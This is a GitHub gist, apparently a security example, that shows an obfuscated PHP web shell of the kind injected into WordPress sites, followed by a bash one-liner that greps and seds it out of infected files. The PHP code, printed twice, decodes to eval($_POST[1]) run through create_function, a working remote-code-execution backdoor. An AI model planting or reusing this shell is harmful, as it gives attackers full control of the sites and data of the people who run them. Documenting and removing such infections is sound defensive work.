Skip to content

Instantly share code, notes, and snippets.

@gnh1201
Last active June 5, 2019 01:30
Show Gist options
  • Save gnh1201/7a4d175bd4a2be87b0655478efcf7b21 to your computer and use it in GitHub Desktop.
Save gnh1201/7a4d175bd4a2be87b0655478efcf7b21 to your computer and use it in GitHub Desktop.
[Security] Wordpress Remove Code Execution Example
<?php
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
@$_();
?>
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
#!/bin/bash
grep -rl "_uU" . | xargs sed -i s/$(cat pattern.txt)//g
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment